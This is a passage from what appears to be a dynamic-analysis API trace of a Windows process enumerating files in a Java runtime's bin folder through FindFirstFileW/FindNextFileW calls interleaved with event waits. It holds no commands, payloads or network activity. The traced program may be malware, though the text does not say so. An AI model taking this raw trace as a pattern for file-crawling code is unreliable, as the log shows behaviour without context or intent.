ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0217.650] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.650] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0217.650] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bci.dll", cAlternateFileName="")) returned 1 [0217.650] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0217.650] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0217.651] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0217.651] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0217.651] GetProcessHeap () returned 0xc10000 [0217.651] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0217.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0217.651] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.651] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0 [0217.652] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0217.652] GetProcessHeap () returned 0xc10000 [0217.652] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0217.653] ResetEvent (hEvent=0x2b8) returned 1 [0217.653] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0217.677] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0217.677] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0217.678] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0217.678] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0217.678] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0217.678] ResetEvent (hEvent=0x2b8) returned 1 [0217.678] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0217.699] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0217.699] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0217.699] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0217.699] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0217.699] ResetEvent (hEvent=0x2b8) returned 1 [0217.699] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0217.748] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0217.748] ResetEvent (hEvent=0x2b8) returned 1 [0217.748] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0218.781] ResetEvent (hEvent=0x2b8) returned 1 [0218.781] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0219.096] ResetEvent (hEvent=0x2b8) returned 1 [0219.096] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0219.097] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0219.097] ResetEvent (hEvent=0x2b8) returned 1 [0219.097] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0219.123] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0219.123] ResetEvent (hEvent=0x2b8) returned 1 [0219.123] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0219.161] ResetEvent (hEvent=0x2b8) returned 1 [0219.162] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0219.168] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0219.168] ResetEvent (hEvent=0x2b8) returned 1 [0219.168] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0220.101] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0220.101] ResetEvent (hEvent=0x2b8) returned 1 [0220.101] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0220.290] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1 [0220.290] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0220.291] ResetEvent (hEvent=0x2b8) returned 1 [0220.291] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0220.335] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0220.336] ResetEvent (hEvent=0x2b8) returned 1 [0220.336] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0220.533] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0220.533] ResetEvent (hEvent=0x2b8) returned 1 [0220.533] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0220.553] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1 [0220.553] ResetEvent (hEvent=0x2b8) returned 1 [0220.553] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0220.577] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0220.577] ResetEvent (hEvent=0x2b8) returned 1 [0220.577] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0220.936] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0220.936] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0220.936] ResetEvent (hEvent=0x2b8) returned 1 [0220.936] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0220.957] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0220.957] ResetEvent (hEvent=0x2b8) returned 1 [0220.958] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0221.252] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0221.255] ResetEvent (hEvent=0x2b8) returned 1 [0221.255] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0221.457] ResetEvent (hEvent=0x2b8) returned 1 [0221.457] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0221.913] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, 